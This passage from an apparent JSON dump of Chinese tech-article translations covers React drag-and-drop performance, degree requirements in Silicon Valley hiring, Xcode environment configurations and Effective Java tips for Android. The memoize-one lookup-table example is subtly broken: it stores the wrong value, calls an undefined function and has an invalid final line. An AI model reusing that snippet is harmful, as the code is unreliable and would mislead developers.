来告诉他们移动出去的方式，对于同时处理大量卡片来说是很昂贵的。\n\n#### 虚拟位移\n\n我们现在只移动对用户来说部分可见的东西，而不是移动用户看不到的卡片。 因此完全不可见的卡片不会移动。这大大减少了我们在进入大列表时需要做的工作量，因为我们只需要 `render` 可见的可拖动卡片。\n\n当检测可见的内容时，我们需要考虑当前的浏览器视口以及滚动容器（带有自己滚动条的元素）。一旦用户滚动，我们会根据现在可见的内容更新位移。在用户滚动时，确保这种位移看起来正确，有一些复杂。他们不应该知道我们没有移动那些看不见的卡片。以下是我们提出的一些规则，以创建在用户看起来是正确的体验。\n\n*   如果卡片需要移动并且可见：移动卡片并为其运动添加动画\n*   如果一个卡片需要移动但它不可见：不要移动它\n*   如果一个卡片需要移动并且可见，但是它之前的卡片需要移动但不可见：请移动它，但不要使其产生动画。\n\n因此我们只移动可见卡片，所以不管当前的列表有多大，从性能的角度看移动都没有问题，因为我们只移动了用户可见的卡片。\n\n#### 为什么不使用虚拟列表?\n\n![](https://cdn-images-1.medium.com/max/800/1*IC1HCd7gv48oIEnKazC0Gg.gif)\n\n一个来自 [react-virtualized](https://github.com/bvaughn/react-virtualized) 的拥有 10000 卡片的虚拟列表。\n\n避免离屏工作是一项艰巨的任务，您使用的技术将根据您的应用程序而有所不同。我们希望避免在拖放交互过程中移动和动画显示不可见的已挂载元素。这与避免完全使用诸如 [react-virtualized](https://github.com/bvaughn/react-virtualized) 之类的某种虚拟化解决方案渲染离屏组件完全不同。虚拟化是令人惊奇的，但是增加了代码库的复杂性。它也打破了一些原生的浏览器功能，如打印和查找（`command / control + f`）。我们的决定是为 React 应用程序提供卓越的性能，即使它们不使用虚拟化列表。这使得添加美观，高性能的拖放操作变得非常简单，而且只需很少的开销即可将其拖放到现有的应用程序中。也就是说，我们也计划支持 [supporting virtualised lists](https://github.com/atlassian/react-beautiful-dnd/issues/68) - 因此开发者可以选择是否要使用虚拟化列表减少大型列表 `render` 时间。 如果您有包含 1000 个卡片的列表，这将非常有用。\n\n### Issue 2：可放弃的更新\n\n当用户拖动 `Droppable` 列表时，我们通过更新 `isDraggingOver`  属性让用户知道。但是，这样做会导致 `Droppable` 的 `render` - 这反过来会导致其所有子项 `render` - 可能是 100 个 `Draggable` 卡片！\n\n#### 我们不控制组件的子元素\n\n为了避免这种情况，我们针对 react-beautiful-dnd 的使用者，创建了性能优化的建议[建议文档](https://github.com/atlassian/react-beautiful-dnd#recommended-droppable-performance-optimisation)，以避免渲染不需要渲染的 `Droppable` 的子元素。库本身并不控制 `Droppable` 的子元素的渲染，所以我们能做的最好的是提供一个建议的优化。 这个建议允许用户在拖拽时设置 `Droppable`，同时避免在其所有子项上调用 `render`。\n\n```\nimport React, { Component } from 'react';\n\nclass Student extends Component<{ student: Person }> {\n  render() {\n    // 渲染一个可拖动的元素\n  }\n}\n\nclass InnerList extends Component<{ students: Person[] }> {\n  // 如果子列表没有改变就不要重新渲染\n  shouldComponentUpdate(nextProps: Props) {\n    if(this.props.students === nextProps.students) {\n      return false;\n    }\n    return true;\n  }\n  // 你也不可以做你自己的 shouldComponentUpdate 检查，\n  // 只能继承自 React.PureComponent\n\n  render() {\n    return this.props.students.map((student: Person) => (\n      <Student student={student} />\n    ))\n  }\n}\n\nclass Students extends Component {\n  render() {\n    return (\n      <Droppable droppableId=\"list\">\n        {(provided: DroppableProvided, snapshot: DroppableStateSnapshot) => (\n          <div\n            ref={provided.innerRef}\n            style={{ backgroundColor: provided.isDragging ? 'green' : 'lightblue' }}\n          >\n            <InnerList students={this.props.students} />\n            {provided.placeholder}\n          </div>\n        )}\n      </Droppable>\n    )\n  }\n}\n```\n\n### 即时位移\n\n![](https://cdn-images-1.medium.com/max/800/1*zwqHyu4wDUTY7Pa4yEdZCA.gif)\n\n在大的列表之间的平滑移动。\n\n通过实施这些优化，我们可以减少在包含 500 个卡片的列表之间移动的时间，这些卡片的位移时间从 380 ms 减少到 8 ms 每帧！**这是另一个 99％ 的减少**。\n\n### Other：查找表\n\n**这种优化并不是针对 React 的 - 但在处理有序列表时非常有用**\n\n在 react-beautiful-dnd 中我们经常使用数组去存储有序的数据。但是，我们也希望快速查找此数据以检索条目，或查看条目是否存在。通常你需要做一个 `array.prototype.find` 或类似的方法来从列表中获取条目。 如果这样的操作过于频繁，对于庞大的数组来说可能会是场灾难。\n\n![Snipaste_2018-03-10_20-03-13.png](https://i.loli.net/2018/03/10/5aa3c987332f2.png)\n\n有很多技术和工具来解决这个问题（包括 [normalizr](https://github.com/paularmstrong/normalizr)）。一种常用的方法是将数据存储在一个 `Object` 映射中，并有一个 `id` 数组来维护顺序。如果您需要定期查看列表中的值，这是一个非常棒的优化，并且可以加快速度。\n\n我们做了一些不同的事情。我们用 [`memoize-one`](https://github.com/alexreardon/memoize-one) (只记住最新参数的记忆函数) 去创建懒 `Object` 映射来进行实时地按需查找。这个想法是你创建一个接受 `Array` 参数并返回一个 `Object` 映射的函数。如果多次将相同的数组传递给该函数，则返回之前计算的 `Object` 映射。 如果数组更改，则重新计算映射。 这使您拥有一张立即查找表，而无需定期重新计算或者需要将其明确存储在 `state` 中。\n\n```\nconst getIdMap = memoizeOne((array) => {\n  return array.reduce((previous, current) => {\n   previous[current.id] = array[current];\n   return previous;\n  }, {});\n});\n\nconst foo = { id: 'foo' };\nconst bar = { id: 'bar' };\n\n// 我们喜欢的有序结构\nconst ordered = [ foo, bar ];\n\n// 懒惰地计算出快速查找的映射\nconst map1 = getMap(ordered);\n\nmap1['foo'] === foo; // true\nmap1['bar'] === bar; // true\nmap1['baz'] === undefined; // true\n\nconst map2 = getMap(ordered);\n// 像之前一样返回相同的映射 - 不需要重新计算\nconst map1 === map2;\n```\n\n使用查找表大大加快了拖动动作，我们在每次更新（系统中的 `O(n²)`）时检查每个连接的 `Draggable` 组件中是否存在某个卡片。通过使用这种方法，我们可以根据状态变化计算一个 `Object` 映射，并让连接的 `Draggable` 组件使用共享映射进行 `O(1)` 查找。\n\n### 最后的话 ❤️\n\n我希望你发现这个博客很有用，可以考虑一些可以应用于自己的库和应用程序的优化。看看 [react-beautiful-dnd](https://github.com/atlassian/react-beautiful-dnd)，也可以试着玩一下[我们的示例](https://react-beautiful-dnd.netlify.com)。\n\n感谢 [Jared Crowe](https://medium.com/@jaredjcrowe) 和 [Sean Curtis](https://medium.com/@seancurtis) 提供优化帮助，[Daniel Kerris](https://medium.com/@DanielKerris)，[Jared Crowe](https://medium.com/@jaredjcrowe)，[Marcin Szczepanski](https://medium.com/@mszczepanski)，[Jed Watson](https://medium.com/@jedwatson)，[Cameron Fletcher](https://medium.com/@cameronfletcher92)，[James Kyle](https://medium.com/@thejameskyle)，Ali Chamas 和其他 [Atlassian](https://medium.com/@Atlassian) 人将博客放在一起。\n\n### 记录\n\n我在 [React Sydney](https://twitter.com/reactsydney) 发表了一篇关于这个博客的主要观点的演讲。\n\nYouTube 视频链接：[这儿](https://youtu.be/3REMkuIg23k)\n\n在 React Sydney 上优化 React 性能。\n\n感谢 [Marcin Szczepanski](https://medium.com/@mszczepanski?source=post_page).\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/dropouts-need-not-apply-silicon-valley-asks-mostly-for-developers-with-degrees.md",
    "content": ">* 原文链接 : [Dropouts Need Not Apply: Silicon Valley Asks Mostly for Developers With Degrees](http://blogs.wsj.com/economics/2016/03/30/dropouts-need-not-apply-silicon-valley-asks-mostly-for-developers-with-degrees/)\n* 原文作者 : [LAUREN WEBER](http://topics.wsj.com/person/W/lauren-weber/7369)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Zhangjd](https://github.com/Zhangjd)\n* 校对者: [yangzj1992](https://github.com/yangzj1992), [shaohui10086](https://github.com/shaohui10086)\n\n# 互联网公司真的是「看重能力，不看重学历」吗？\n\n<div class=\"entry-content\">![](http://ww2.sinaimg.cn/large/a490147fjw1f2uxkmiivnj20kt0dvae7.jpg)\n\n图为 Facebook 创始人马克·扎克伯格 2011 年在哈佛大学和记者交流。众所周知，扎克伯格曾经在 05 年辍学，但根据 Burning Glass Technologies 的最新调查数据显示，硅谷的雇主们更倾向于雇佣一个有本科甚至更高级学位的员工。\n\n有种说法在硅谷流传已久，那就是科技公司招聘只看重你的代码能力而非学历。但调查发现，科技公司在招聘软件工程师时，相比于其他雇主，更倾向于要求大学学历。\n\n**Burning Glass Technologies** 是一家劳动市场数据分析公司，他们分析了全美国 160 万条关于软件工程师的招聘信息，根据报告显示，技术型公司高达 75% 的招聘广告都指明了学历要求，相比之下，所有包含软件工程师岗位的公司中，只有 58% 公开表明有学历要求。\n\n并且在 95% 的技术部门招聘广告中，都列出了最低学历要求，雇主们需要学士或以上学位的开发者，与此同时，所有寻找开发者的雇主中，对开发者有学历要求的比例是 92%。\n\nBurning Glass 的 CEO，**Matt Sigelman**，对于表面现象和调查结果的分歧感到很困惑，“一方面是诸如比尔盖茨和扎克伯格这样的传说级人物，人们对于他们的成功奥秘很感兴趣，因为”。- [他们都是哈佛大学的辍学生](http://www.wsj.com/articles/college-dropouts-thrive-in-tech-1433323802) — “但另一方面，现实是许多优质岗位并不欢迎那些没有拿到大学学位的人”。\n\n在美国，25 岁以上的人群中，多达 68% 的人没有学士及以上学位。\n\nBurning Glass 发现，硅谷的雇主对于学历的要求最为严格，在 77% 的开发岗招聘启事里列出了教育程度要求，并且其中 98% 的广告都要求学士或以上学位。\n\n![](http://ww3.sinaimg.cn/large/005SiNxygw1f2mzk4y4tvj30qn0hr0v3.jpg)\n_辍学生更受技术公司欢迎？招聘启事里可不是这么说的。硅谷的高科技行业的雇主们在招聘开发者时，更倾向于在招聘启事中对学历作出要求。图中列出的是学历要求在招聘启事中所占比例。从左到右依次为：包含软件工程师岗位的公司、技术型公司、硅谷的技术型公司。_\n\n![](http://ww1.sinaimg.cn/large/005SiNxygw1f2mzkkvlyqj30qn0hr40v.jpg)\n_在列出学历要求的招聘启事中，硅谷的技术公司相对于其他公司更倾向于考虑学士以上学历的人群。图中列出的是学历最低要求在招聘启事中的比例分布，蓝色为学士以下学历，绿色为学士学历，红色为硕士以上学历。从左到右依次为：包含软件工程师岗位的公司、技术型公司、硅谷的技术型公司。_\n\n相比之下，在俄勒冈州波特兰市，开发岗招聘广告中有要求大学文凭的比例是 88%，在达拉斯和明尼阿波里斯的比例是 90%。\n\nBurning Glass 还发现，公司会为那些高学历人群开出更高的工资，对于大学毕业生，雇主支出的工资比平均水平要高出 29%，其中技术部门雇主的支出要比平均水平更是高出 36%。\n\n这家公司还对比了有大学学历要求的职位和没有学历要求的职位之间的技能要求，却发现两者提到最多的前五项技能都是相同的。所以学历要求体现了什么作用呢？\n\n大部分雇主认为，拥有高学历的员工会在软技能上面体现优势，比如沟通协作能力和批判性思维。而在硅谷那些快速成长的公司中，才华可能显得尤其重要。但是，Sigelman 先生也提到，“大学学历和拥有这些技能之间并没有明显的联系”。\n\n虽然一些公司已经开始尝试 “[盲眼招聘](http://www.wsj.com/articles/the-boss-doesnt-want-your-resume-1452025908)” 流程 - 一种完全根据工作能力而非简历信息来评价候选人的招聘方式 - 不过这一招聘方式目前尚未被深入探索。\n\n不幸的是，技术部门仍在使用大学学历作为许多高薪工作机会的筛选条件。Sigelman 透露，他的公司正将相关数据和分析报告作为技术招聘倡议书提交给白宫 ，目的是提高美国人在互联网行业中的技能水平。“这一充满活力的行业正是招聘市场高速增长的引擎，我们对于如何把这些机会开放给大部分的美国群众非常感兴趣。”\n\n"
  },
  {
    "path": "TODO/effective-environment-switching-in-ios.md",
    "content": "> * 原文地址：[Effective Environment Switching in iOS](https://medium.com/@volbap/effective-environment-switching-in-ios-6df0b08e9556)\n> * 原文作者：[Pablo Villar](https://medium.com/@volbap?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/effective-environment-switching-in-ios.md](https://github.com/xitu/gold-miner/blob/master/TODO/effective-environment-switching-in-ios.md)\n> * 译者：[swants](http://www.swants.cn)\n> * 校对者：[charsdavy](https://github.com/charsdavy) [VernonVan](https://github.com/VernonVan)\n\n# Xcode 环境配置最佳实践\n\n![](https://cdn-images-1.medium.com/max/2000/1*phOfJPH1G1VTDfpyqVlkow.jpeg)\n\n### 前言\n\n工欲善其事，必先利其器。在 iOS 中，如何处理 **配置环境** 和根据需求自定义的 **设置** 关系也尤为重要。虽然 Xcode 提供了一系列的工具帮助我们进行妥善地配置。但遗憾的是，我见过的很多团队在绝大多数时候都没有充分利用这些辅助工具。这并不是他们的错：苹果只为我们提供了一些不怎么好用的默认配置，而没有更好的帮助我们学习如何达到最佳实践。\n\n在这篇文章里，我们将探索如何更好地利用 Xcode 配置，如何把 APP 的设置定义得更加有条理。\n\n### Xcode 配置\n\nXcode 可以通过各种配置构建不同设置的包。通俗地讲，配置就是告诉编译器如何构建版本的一系列设置。IDE 允许你根据不同的配置来自定义一些设置。你可能经常看到这些：\n\n![](https://cdn-images-1.medium.com/max/800/1*3M9G9pHYcupklR3xdFX7PA.png)\n\n等等…\n\n#### Debug vs. Release\n\nDebug 和 Release 是 Xcode 提供的两种默认配置。你完全也可以创建你自己的配置，但我们通常不这么做，因为自定义的配置是否有效可能取决于项目，iOS 开发者们对哪些配置可以对项目普遍有效还没有达成共识。 \n\n这两种默认配置有几处差别，具体的差别在这里我不会详细讨论，只是简单概括下：\n\n> 在 **debug** 构建的版本中，Xcode 会给我们发送完整的符号调试信息来帮助我们调试应用，并且 Xcode 不会对代码进行优化（更快的构建速度）。而在 **release** 构建的版本中，不会发送调试信息并且代码会被优化（较慢的构建速度）。\n\n至于这两种配置的用途，**debug** 通常会在我们日常开发中使用。而 **release** 我们通常会在需要将 APP 分发给其他非开发人员如：测试人员、项目经理、客户或用户时使用。\n\n需要注意的是，这两个配置通常是不能完全满足需求的。而且开发者经常把 ≪debug vs. release≫ 和 ≪staging vs. production≫ 这两个概念搞混，这完全是不应该的。\n\n#### 我们可以继续完善\n\n一些项目使用不同的配置环境：开发环境、临时环境、生产环境、预生产环境等等，用你最想用的那个就好。这种分类方式和上面讨论的两种默认配置没有直接联系。就算我们强制这么分类，用的时候达到的效果也没有想象中的那样好。比如，你想准备构建一个 **_release_** 版本，但这并不意味着你的 APP 一定要指向 **生产** 服务器：想像一下，你需要为 QA 打个 release 的版本的包，而这个包需要在临时服务器上进行测试。 这时就连 debug & release 两个默认的配置也不能满足需求了。\n\n因此，我想用可以满足我们更多需求的其他配置方案来代替基本的 debug & release 配置。为了足够简单，在我的方案中只会保留临时环境和生产环境，在你需要使用其它环境配置时，你会发现在我的方案里可以轻松添加。\n\n#### 让我们重新定义配置环境\n\n我们可以定义四种配置环境：\n\n* Debug Staging\n* Debug Production\n* TestFlight Staging\n* TestFlight Production\n\n\n从它们的名字上，你就能猜到它们大概的设置，下面就是它们的详细设置：\n\n\n* 前两个（Debug Staging & Debug Production）和默认的 Debug 配置一样，但 **每个都指向不同的服务器环境**。\n* 后两个配置环境（两个 TestFlight 配置环境 ）也是这样，它们和默认的 Release 配置一样，不包含调试信息并进行了代码优化，但 **每个都在对应的服务器环境下使用**。\n\n![](https://cdn-images-1.medium.com/max/800/1*E24WkTnP6IXFceTvE3MtxQ.png)\n\n实现的操作也是非常简单，找到 project 的 Settings > Info > Configurations，然后点击 + 按钮。拷贝一份 Debug 配置，并将默认的配置命名为 “Debug Staging”，拷贝出来的配置命名为 “Debug Production”。按照这个方式对 Release 进行处理。\n\n当你操作完后是这个效果：\n\n![](https://cdn-images-1.medium.com/max/1000/1*TalswynK3oCREkrhNBJGlg.png)\n\n一个 project 包含四种不同的配置环境。\n\n#### 第五种配置环境\n\n我使用 “ __TestFlight__” 命名 release 配置，而不是使用原来的 “__Release__” 命名是有原因的。因为代码中有些特定事件只在最终用户使用时触发，而在测试人员和客户使用时不触发。一个具体的场景就是使用用户统计来跟踪事件，这可能要求跟踪事件仅作用于最终用户，而不是生产环境下的测试人员。在这种情况下， 我们就要考虑 __TestFlight Production__ 配置具有的细微差别，因此我们需要将这个配置继续细分下去。引进第五种配置：\n\n* AppStore\n\n你可以快速地拷贝一份 TestFlight Production 来添加这个配置。但需要注意的是这个配置可能一直不会用到，因为你不一定会遇到需要细分 TestFlight Production 配置的需求。\n\n那么，现在你可能很想知道 **如何根据所选配置来管理 APP 中的触发事件**。这些将会在接下来部分详细介绍。\n\n### 自定义设置\n\n有很多方式可以做到根据所选不同配置来执行不同的操作：预编译器指令、环境变量、各种 plist 文件等等。这些方式都有自己的优缺点，这里只讨论我将采取的比较纯净的方式。\n\n需要根据配置执行的各种操作通常可以由变量来控制，通过这些变量来决定 APP 的行为。这些变量通常称为 **settings** 。比如一些像这样的 settings ：服务器 API 的 base URL、Facebook App ID、日志的详细级别、是否支持离线访问等等。\n\n接着，展示我现在如何根据所选配置来管理这些自定义 settings 的方法。从我的以往经验来看，这是目前最方便的方案。\n\n#### Settings.swift\n\nAPP 的自定义 settings 可以通过单例很简单的获取到。\n\n```\nstruct Settings {\n    static var shared = Settings()\n    let apiURL: URL\n    let isOfflineAccessEnabled: Bool\n    let feedItemsPerPage: Int\n    private init() {\n        let path = Bundle.main.path(forResource: \"Info\", ofType: \"plist\")!\n        let plist = NSDictionary(contentsOfFile: path) as! [AnyHashable: Any]\n        let settings = plist[\"AppSetings\"] as! [AnyHashable: Any]\n        \n        apiURL = URL(string: (settings[\"ServerBaseURL\"] as! String))!\n        isOfflineAccessEnabled = settings[\"EnableOfflineAccess\"] as! Bool\n        feedItemsPerPage = settings[\"FeedItemsPerPage\"] as! Int\n        \n        print(\"Settings loaded: \\(self)\")\n    }\n}\n```\n\n这个结构体用来读取和记录 APP 的各种 settings（这些 settings 会在 APP 的 `Info.plist` 文件中定义），这样我们就可以在代码中随时拿到这些 settings。在这里我喜欢使用强制解包，因为这样如果缺少某项设置，APP 也会无法运行。\n\n#### Info.plist\n\n在 `Info.plist` 文件中定义 appSettings 。这里我建议大家使用字典把这些设置汇总到一起。\n\n![](https://cdn-images-1.medium.com/max/1000/1*NlmqO1X2mvioMWhj9swBXg.png)\n\n这样，我们就非常纯净地完成了对 APP settings 的读取。这些 settings 在不同的配置环境中值都是不同的，还差一点就完成了。\n\n#### User-Defined Settings\n\n想一下，在所有的工程内 **什么会随配置的不同而改变** ？ 对，编译器的代码优化级别、header 的搜索路径、描述文件等等。如果我们能够定义我们自己的随所选配置改变的设置，那不就简单了！事实证明，我们确实可以创建用户自定义的设置。\n\n![](https://cdn-images-1.medium.com/max/800/1*ilzKZsI_BCcgal5tzhkUWw.png)\n\n创建 User-Defined settings 非常简单，只需要在你的 Target > Build Settings 中，点击 + 按钮，然后选择 “Create User-Defined Setting”。这些也可以在 project > Build Settings 下创建，但我觉得在 Target > Build Settings 创建更合适。\n\n 因为你刚创建的 User-Defined Settings 可能还需与其他的 Settings 来搭配使用，所以建议最好用合适的前缀来命名。\n\n\n![](https://cdn-images-1.medium.com/max/800/1*25yr4QF6vBFNK2F1DOh6nw.png)\n\n我这里使用了我名字缩写来作为 User-Defined Settings 的前缀， 但我建议最好用项目名的缩写。\n\n接下来，在你的 `Info.plist` 文件中引用对应的属性值，你可以这样做：\n\n```\n$(YOUR_USER_DEFINED_SETTING_NAME)\n```\n\n#### 整合全部\n\n真正神奇的地方在于：你可以将 `Info.plist` 中 settings 的所有已经填好的属性值替换为 User-Defined Setting 的对应地址。而你现有的自定义 setting 各需对应一条 User-Defined Setting。\n\n![](https://cdn-images-1.medium.com/max/1000/1*UMNV9ZDKIjr3J3UpWKOIbA.png)\n\n当 `Info.plist` 文件被编译时，它会获取所选配置对应的所有 settings 属性值，而这些属性值也会在编译时对应到每个 settings 上。\n\n现在，你就可以在你的代码里随时随地 *优雅* 地获取到这些 settings 的属性值：\n\n```\nif Settings.shared.isOfflineAccessEnabled {\n    // do stuff\n}\n```\n\n最后，在 Xcode 中选择所需的编译配置就非常简单了：\n\n![](https://cdn-images-1.medium.com/max/800/1*D5Z2ipWESxi1MW5s0xvmMw.png)\n\n或者在 CLI 中:\n\n![](https://cdn-images-1.medium.com/max/800/1*MHK2NWnxjk0rPY4mFuzAZQ.png)\n\n### 总结\n\n采用这套方案，我们会获得这些好处：\n\n* 有组织地构建工作流程。\n* 有组织地管理应用程序的自定义设置。\n* 根据配置灵活改变设置。\n* 轻松持续集成（在命令行工具中，选择要编译的配置很容易实现）。\n\n然而，这个方案也有些值得警惕的地方：\n\n* 在运行时不能灵活地更改设置，因为设置在编译时就被打包到版本内了。\n* 在配置之间切换时体验并不是很好：每次更改配置后，Xcode 都会重新创建一个版本，也就是说你必须等待整个项目重新编译。\n* 只能在 `.xcodeproj` 中修改这些设置的值，而不能在外部 [灵活](https://hackernoon.com/system-settings-9ed72d5ef629)  修改这些设置的值。\n* User-Defined Settings [暴露给了所有能够接触到代码的人](https://medium.freecodecamp.org/how-to-securely-store-api-keys-4ff3ea19ebda) , **所以千万不要把任何重要的 key 值放到这里** 。\n\n虽然这些隐患可以一一排除，但是，这个方案的初衷只是为了从这片几乎空白的领域摸索出这些工具更好的使用方法。解决这些问题就意味着更多更复杂的修改，而且这些已经超出了本文讨论的内容，我不希望这篇文章跑题。但相信我，我们做的已经足够完善了。**在下篇文章里，我们将研究如何处理这些隐患，并让我们的项目变得更加完善...**\n\n待续。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n\n"
  },
  {
    "path": "TODO/effective-java-for-android-cheatsheet.md",
    "content": "* 原文地址：[ Effective Java for Android (cheatsheet) ](https://medium.com/rocknnull/effective-java-for-android-cheatsheet-bf4e3433889a#.hmlqxkmzh)\n* 原文作者：[ Netcyrax ]( https://medium.com/@netcyrax)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Jamweak](https://github.com/jamweak)\n* 校对者：[jacksonke](https://github.com/jacksonke)，[phxnirvana](https://github.com/phxnirvana)\n\n# Android 中的 Effective Java(速查表)\n\n[Effective Java](https://www.amazon.co.uk/Effective-Java-Second-Joshua-Bloch/dp/0321356683) 是一本被广泛认可的著作，它指明了在写 Java 代码时兼顾**可维护性**与**效率**的方式。Android 也是使用 Java 来开发的，这意味着前书中的**所有**建议仍旧可用，真的是这样吗？并不尽然。[某些](https://news.ycombinator.com/item?id=12893118)[同学](https://www.reddit.com/r/androiddev/comments/4smncj/is_this_true/) 认为书中的“大部分”建议都不适用于 Android 开发，但我认为并不是这样。我承认书中的部分建议确实不适用，因为并非所有 Java 特性都有针对 Android 优化（比如说[枚举](https://developer.android.com/topic/performance/memory.html#Abstractions)，序列化等等），或者是因为移动设备的局限 （例如 [Dalvik](https://en.wikipedia.org/wiki/Dalvik_%28software%29) /[ART](https://en.wikipedia.org/wiki/Android_Runtime) ）。 不管怎样，书中的**大部分**规范是稍微修改下甚至不修改就可以直接用的，以便构建更鲁棒，简洁且更可维护的代码库。\n\n本文试图聚焦于原书中我认为在 Android 开发时最重要的一些条目。对于那些读过此书的人，本文也许能帮助你回忆起这些条目，对于那些（还）没有读过的人，本文能够让他们品尝到一丝原书的韵味。\n\n#### 强制不可实例化\n\n如果你不希望一个对象通过关键字 *new* 来创建，那么强制让它的**构造方法私有**。这尤其对一些只包含静态方法的工具类有用。\n```\nclass MovieUtils {\n  private MovieUtils() {}\n\n    static String titleAndYear(Movie movie) {\n        [...]\n    }\n}\n\n```\n\n#### 静态工厂方法\n\n不要使用 new 关键字和构造方法创建对象，而应当使用静态工厂方法（和私有构造方法）。这些工厂方法具有名字，不需要每次返回一个新的对象实例，它们可以依据需求返回不同的子类型对象。\n```\nclass Movie {\n    [...]\n    public static Movie create(String title) {\n        return new Movie(title);\n    }\n}\n\n```\n\n#### 创建者模式\n\n当对象的构造方法参数不小于 3 个时，可以考虑创建者模式。这可能需要更多行的代码，但拓展性和可读性会很好。如果你正创建一个实体类，考虑使用  [AutoValue](https://medium.com/rocknnull/no-more-value-classes-boilerplate-the-power-of-autovalue-bbaf36cf8bbe#.cazel3w3g) 。\n\n```\nclass Movie {\n    static Builder newBuilder() {\n        return new Builder();\n    }\n    static class Builder {\n        String title;\n        Builder withTitle(String title) {\n            this.title = title;\n            return this;\n        }\n        Movie build() {\n            return new Movie(title);\n        }\n    }\n\n    private Movie(String title) {\n    [...]\n    }\n}\n// Use like this:\nMovie matrix = Movie.newBuilder().withTitle(\"The Matrix\").build();\n\n```\n\n#### 避免可变性\n\n不可变性是指对象在其整个生命周期内一直保持不变。应将对象中所有必要的数据在其创建时就赋值。这个做法有许多好处，比如简洁化，线程安全以及可共享性等。\n\n```\nclass Movie {\n    [...]\n    Movie sequel() {\n        return Movie.create(this.title + \" 2\");\n    }\n}\n// Use like this:\nMovie toyStory = Movie.create(\"Toy Story\");\nMovie toyStory2 = toyStory.sequel();\n\n```\n\n很难将所有的类都设为不可变类，如果是这样的话，尽可能多地让你的类变成不可变类（例如私有化常量以及不可继承类）。在移动设备中创建对象代价更高，因此不要滥用它。\n\n#### 静态成员类\n\n如果你定义了一个不依赖外部类的内部类，不要忘记将其定义为静态的。否则将会导致每一个内部类对象都会持有对外部类的引用。\n\n```\nclass Movie {\n    [...]\n  static class MovieAward {\n        [...]\n    }\n}\n\n```\n\n#### 泛型 (几乎) 无处不在\n\nJava 提供了类型检查，我们应当对此感激（看看 JS ）。尽量避免使用无类型或 Object 类型。泛型机制，大多数情况下保障了编译时的类型检查。\n\n```\n// 不要这样做\nList movies = Lists.newArrayList();\nmovies.add(\"Hello!\");\n[...]\nString movie = (String) movies.get(0);\n\n// 这样做\nList<String> movies = Lists.newArrayList();\nmovies.add(\"Hello!\");\n[...]\nString movie = movies.get(0);\n\n```\n\n不要忘记你能在方法中对参数和返回值使用泛型\n\n```\n// 不要这样做\nList sort(List input) {\n    [...]\n}\n\n// 这样做\n<T> List<T> sort(List<T> input) {\n    [...]\n}\n\n```\n\n想更灵活的话，你可以使用 [bounded wildcards](http://stackoverflow.com/questions/2723397/what-is-pecs-producer-extends-consumer-super) 来扩展你接受类型的范围。\n\n```\n// 从集合中读取 Stuff - 使用 \"extends\"\nvoid readList(List<? extends Movie> movieList) {\n    for (Movie movie : movieList) {\n        System.out.print(movie.getTitle());\n        [...]\n    }\n}\n\n// 向集合中写入 Stuff - 使用 \"super\"\nvoid writeList(List<? super Movie> movieList) {\n    movieList.add(Movie.create(\"Se7en\"));\n    [...]\n}\n\n```\n\n#### 返回空值\n\n当你方法的返回类型为 list/collecion 时，返回空值时要避免返回 *null*。返回一个空的集合类型，这会使得你**简化接口**（没有必要写文档来声明方法返回值为 null）并且**避免空指针异常**。就返回那个集合的空值，而不是再创建一个。\n\n```\nList<Movie> latestMovies() {\n    if (db.query().isEmpty()) {\n        return Collections.emptyList();\n    }\n    [...]\n}\n\n```\n\n不要用 “+” 来连接 String\n\n必须要拼接一系列字符串时，可能会使用 + 连字符。永远不要用它来拼接大量字符串，这样的性能真的很差，考虑使用 StringBuilder 来代替。\n\n```\nString latestMovieOneLiner(List<Movie> movies) {\nStringBuilder sb = new StringBuilder();\n    for (Movie movie : movies) {\n        sb.append(movie);\n    }\n    return sb.toString();\n}\n\n```\n\n#### Recoverable exceptions\n\n我个人不喜欢抛出异常来指示错误，但是如果你这样做，确保这个异常被检查，确保这个**异常被捕获到**。\n\n```\nList<Movie> latestMovies() throws MoviesNotFoundException {\n    if (db.query().isEmpty()) {\nthrow new MoviesNotFoundException();\n    }\n    [...]\n}\n\n```\n\n### 结论\n\n这份列表绝不是书中给出建议的完整列表，也不是全书完整深入陈述的浓缩，这篇文章更像是一些有用建议的速查表 :)\n"
  },
  {
    "path": "TODO/effective-okhttp.md",
